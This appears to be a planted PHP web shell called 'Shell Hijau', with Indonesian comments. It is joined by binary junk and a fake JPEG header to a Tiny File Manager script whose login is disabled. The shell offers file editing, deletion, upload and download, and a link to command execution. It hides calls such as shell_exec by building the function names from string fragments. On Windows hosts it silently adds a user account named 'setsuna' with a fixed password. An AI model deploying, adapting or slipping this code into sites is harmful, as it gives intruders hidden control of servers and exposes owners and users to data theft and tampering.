    $file = $o['edit_file'];
    $content = $q($file);
    if ($content !== false) {
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Edit File</title>
            <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
            <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
            <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
            <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
            <style>
                body {
                    font-family: Arial, sans-serif;
                }
                header {
                    background-color: #4CAF50;
                    color: white;
                    padding: 1rem;
                    text-align: center;
                }
                header h1 {
                    margin: 0;
                }
                main {
                    padding: 1rem;
                }
            </style>
        </head>
        <body>
            <header>
                <h1>Edit File</h1>
            </header>
            <main class="container">
                <form method="post" action="">
                    <div class="form-group">
                        <textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control"><?php echo $y($content); ?></textarea>
                    </div>
                    <input type="hidden" name="edited_file" value="<?php echo $y($file); ?>">
                    <button type="submit" name="submit_edit" class="btn btn-success">Submit</button>
                </form>
            </main>
        </body>
        </html>
        <?php
        exit;
    } else {
        $edit_message = 'Gagal membaca isi file.';
    }
}


if ($ISS($o, 'submit_edit')) {
    $file = $o['edited_file'];
    $content = $o['file_content'];
    if ($s($file, $content) !== false) {
        $edit_message = 'File Edit Successfully.';
    } else {
        $edit_message = 'Failed To Edit File.';
    }
}

if ($ISS($o, 'delete_file')) {
    global $UNL;
    $file = $o['delete_file'];
    if ($UNL($file)) {
        $delete_message = 'File deleted successfully.';
    } else {
        $delete_message = 'Failed to delete file.';
    }
}

// Fungsi untuk menampilkan pesan
function showMessage($message, $y)
{
    echo '<p>' . z($message) . '</p>';
}

$un = $NM();
$current_dir = realpath($b);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shell Hijau</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        header {
            background-color: #4CAF50;
            color: white;
            padding: 1rem;
            text-align: center;
        }
        header h1 {
            margin: 0;
        }
        main {
            padding: 1rem;
        }
    </style>
</head>
<body>
    <header>
        <h1>Shell Hijau</h1>
    </header>
    <main class="container">
        <p>Current directory: 
            <?php
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $Ex = 'expl';
                $Pl = 'ode';
            // Memastikan fungsi yang dibuat adalah 'explode' yang valid
                $ExPl = $Ex . $Pl;
            // Pastikan fungsi $ExPl adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($ExPl)) {
                return "Error: The function {$ExPl} does not exist.";
            }
            $parts = $ExPl('/', trim($current_dir, '/'));
            $path = '';
            foreach ($parts as $part) {
                $path .= '/' . $part;
                echo '<a href="?dir=' . $v($path) . '">' . $y($part) . '</a>/';
            }
            ?>
        </p>
<?php
echo '<p>Server information: ' . $y($un) . '</p>';
?>

<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan tombol dengan ukuran lebih kecil -->
<style>
    button {
        background-color: #4CAF50; /* Warna latar hijau */
        color: white; /* Teks berwarna putih */
        padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
        font-size: 12px; /* Ukuran font yang lebih kecil */
        border: none; /* Tidak ada border */
        border-radius: 4px; /* Rounded corners yang lebih halus */
        cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
        transition: background-color 0.3s; /* Smooth transition untuk hover effect */
    }
    button:hover {
        background-color: #45a049; /* Warna lebih gelap saat hover */
    }
</style>

<!-- Tombol untuk menampilkan dan menyembunyikan informasi server -->
<button onclick="toggleInfo()">Check Server</button>

<div id="serverInfo" style="display:none;">
    <pre>
    Disabled Functions: <?php 
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $in = 'in';
                $iget = 'i_get';
            // Memastikan fungsi yang dibuat adalah 'ingetin' yang valid
                $ingetin = $in . $iget;
            // Pastikan fungsi $ingetin adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($ingetin)) {
                return "Error: The function {$ingetin} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1b = 'su';
                $i2b = 'bstr';
            // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
                $i1b2 = $i1b . $i2b;
            // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1b2)) {
                return "Error: The function {$i1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1c = 'st';
                $i2c = 'rlen';
            // Memastikan fungsi yang dibuat adalah 'i1c2' yang valid
                $i1c2 = $i1c . $i2c;
            // Pastikan fungsi $i1c2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1c2)) {
                return "Error: The function {$i1c2} does not exist.";
            }
            echo ($ingetin('disable_functions') ? $i1b2($ingetin('disable_functions'), 0, 50) . ($i1c2($ingetin('disable_functions')) > 50 ? '...' : '') : 'NONE'); ?><br>
    PHP Version: <?php echo phpversion(); ?><br>
    Operating System: <?php echo PHP_OS; ?><br>
    <?php
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1b = 'su';
                $i2b = 'bstr';
            // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
                $i1b2 = $i1b . $i2b;
            // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1b2)) {
                return "Error: The function {$i1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $s1b = 'strt';
                $s2b = 'oupper';
            // Memastikan fungsi yang dibuat adalah 's1b2' yang valid
                $s1b2 = $s1b . $s2b;
            // Pastikan fungsi $s1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($s1b2)) {
                return "Error: The function {$s1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $SEXC1 = 'she';
                $SEXC2 = 'll_ex';
                $SEXC3 = 'ec';
            // Memastikan fungsi yang dibuat adalah 'SEXC' yang valid
                $SEXC = $SEXC1 . $SEXC2 . $SEXC3;
            // Pastikan fungsi $SEXC adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($SEXC)) {
                return "Error: The function {$SEXC} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $SAINT1 = 'st';
                $SAINT2 = 'rpos';
            // Memastikan fungsi yang dibuat adalah 'SAINT' yang valid
                $SAINT = $SAINT1 . $SAINT2;
            // Pastikan fungsi $SAINT adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($SAINT)) {
                return "Error: The function {$SAINT} does not exist.";
            }
    // Mengecek apakah server menggunakan Windows dan mencoba membuat user RDP
    if ($s1b2($i1b2(PHP_OS, 0, 3)) === 'WIN') {
        $output = $SEXC('net user setsuna setsuna123## /add 2>&1');
        $can_create_rdp = ($SAINT($output, 'The command completed successfully') !== false) ? 'Yes' : 'No';
    } else {
        $can_create_rdp = 'No'; // Jika bukan Windows, langsung memberi hasil 'No'
    }
    echo 'Can Create RDP User: ' . $can_create_rdp;
    ?>
    </pre>
</div>

<script>
function toggleInfo() {
    var info = document.getElementById('serverInfo');
    var button = document.querySelector('button');
    if (info.style.display === 'none') {
        info.style.display = 'block';
        button.textContent = 'Close';
    } else {
        info.style.display = 'none';
        button.textContent = 'Check Server';
    }
}
</script>

        <?php if (!empty($upload_message)): ?>
        <div class="alert alert-info"><?php echo $y($upload_message); ?></div>
        <?php endif; ?>
        <?php if (!empty($edit_message)): ?>
        <div class="alert alert-warning"><?php echo $y($edit_message); ?></div>
        <?php endif; ?>
        <?php if (!empty($delete_message)): ?>
        <div class="alert alert-danger"><?php echo $y($delete_message); ?></div>
        <?php endif; ?>
<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan form dan tombol -->
<style>
    button {
        background-color: #4CAF50; /* Warna latar hijau */
        color: white; /* Teks berwarna putih */
        padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
        font-size: 12px; /* Ukuran font yang lebih kecil */
        border: none; /* Tidak ada border */
        border-radius: 4px; /* Rounded corners yang lebih halus */
        cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
        transition: background-color 0.3s; /* Smooth transition untuk hover effect */
    }
    .btn-primary:hover, .toggle-btn:hover {
        background-color: #45a049; /* Warna lebih gelap saat hover */
    }
    .form-control-file {
        display: inline-block;
        margin-right: 10px; /* Tambahkan margin kanan untuk kesinambungan visual */
    }
    .form-group {
        display: flex; /* Menggunakan flexbox untuk align items horizontally */
        align-items: center; /* Center items vertically */
        margin-bottom: 10px; /* Margin bawah untuk grup form */
    }
</style>

<!-- Tombol untuk menampilkan dan menyembunyikan form upload -->
<button class="toggle-btn" onclick="toggleUploadForm()">Upload Here</button>

<!-- Form upload -->
<div id="uploadForm" style="display:none;">
    <form method="POST" enctype="multipart/form-data" class="mb-3 d-inline">
        <div class="form-group">
            <input type="file" name="file_upload" class="form-control-file">
            <button type="submit" class="btn btn-primary">Upload</button>
        </div>
        <input type="hidden" name="dir" value="<?php echo $y($b); ?>">
    </form>
</div>

<script>
function toggleUploadForm() {
    var form = document.getElementById('uploadForm');
    var button = document.querySelector('.toggle-btn');
    if (form.style.display === 'none') {
        form.style.display = 'block';
        button.textContent = 'Close';
    } else {
        form.style.display = 'none';
        button.textContent = 'Upload Here';
    }
}
</script>
        <a href="?dir=<?php echo $v($b); ?>&show_command_form=1" class="btn btn-warning ml-2">Command Execution</a>
        <form method="POST" class="mb-3">
            <div class="form-group">
        </form>
        <table class="table table-striped">
            <thead class="thead-dark">
                <tr>
                    <th>Filename</th>
                    <th>Permissions</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($files as $file): ?>
                <tr>
                    <td>
                        <?php if ($ID($b . '/' . $file)): ?>
                        <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="<?php echo g($b . '/' . $file) ? '' : 'text-danger'; ?>"><?php echo $y($file); ?></a>
                        <?php else: ?>
                        <?php echo $y($file); ?>
                        <?php endif; ?>
                    </td>
                    <td class="<?php echo g($b . '/' . $file) ? 'text-success' : 'text-danger'; ?>">
                        <?php echo $ISF($b . '/' . $file) ? $y(f($b . '/' . $file)) : (g($b . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?>
                    </td>
                    <td>
                        <?php if ($ISF($b . '/' . $file)): ?>
                        <form action="" method="post" class="d-inline">
                            <input type="hidden" name="edit_file" value="<?php echo $y($b . '/' . $file); ?>">
                            <button type="submit" class="btn btn-primary">Edit</button>
                        </form>
                        <form action="" method="post" class="d-inline">
                            <input type="hidden" name="delete_file" value="<?php echo $y($b . '/' . $file); ?>">
                            <button type="submit" class="btn btn-danger">Delete</button>
                        </form>
                        <form action="" method="get" class="d-inline">
                            <input type="hidden" name="download" value="<?php echo $y($v($b . '/' . $file)); ?>">
                            <button type="submit" class="btn btn-info">Download</button>
                        </form>
                        <?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </main>
</body>
</html>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������   ? �� �N����m?� ��j� ��EP��b9xpi.php000064400000554276151550413340006334 0ustar00ÿØÿà JFIF      ÿÛ „ 	( %!1!%*+...983,7(-.-


<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';

/**
 * H3K | Tiny File Manager V2.4.3
 * CCP Programmers | ccpprogrammers@gmail.com
 * https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.4.3');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password 
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = false;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);

//set application theme
//options - 'light' and 'dark'
$theme = 'dark';

// Readonly users 
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '?img=favicon';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 2048;

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the customized config file, try to use it to override the default config above
$config_file = './config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

define('FM_THEME', $theme);

// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('');
    session_name(FM_SESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    fm_redirect(FM_SELF_URL);
}

// Show image here
if (isset($_GET['img'])) {
    fm_show_image($_GET['img']);
}

// Validate connection IP
if($ip_ruleset != 'OFF'){
    $clientIp = $_SERVER['REMOTE_ADDR'];

    $proceed = false;

    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true && $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg('Access denied. IP restriction applicable', 'error');
            fm_show_header_login();
            fm_show_message();
        }

        exit();
    }
}

// Auth
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
        // Logging In
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL . '?p=');
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="form-group">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="form-group">
                                        <label for="fm_usr"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="form-group">
                                        <label for="fm_pwd"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="form-group">
                                        <?php fm_show_message(); ?>
                                    </div>

                                    <div class="form-group">
                                        <button type="submit" class="btn btn-success btn-block mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>Root path \"{$root_path}\" not found!</h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items);
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {

    // save
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg('File not found', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
        header('X-XSS-Protection:0'); 
        $file_path = $path . '/' . $file;
        
        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){ 
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    //search : get list of files from the current folder
    if(isset($_POST['type']) && $_POST['type']=="search") {
        $dir = FM_ROOT_PATH;
        $response = scan(fm_clean_path($_POST['path']), $_POST['content']);
        echo json_encode($response);
        exit();
    }
    
    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = $_POST['file'];
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['calc_folder'] != $caf) {
            $cfg->data['calc_folder'] = $caf;
            $calc_folder = $caf;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(basename($url), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
        
        function event_callback ($message) {
            global $callback;
            echo json_encode($message);
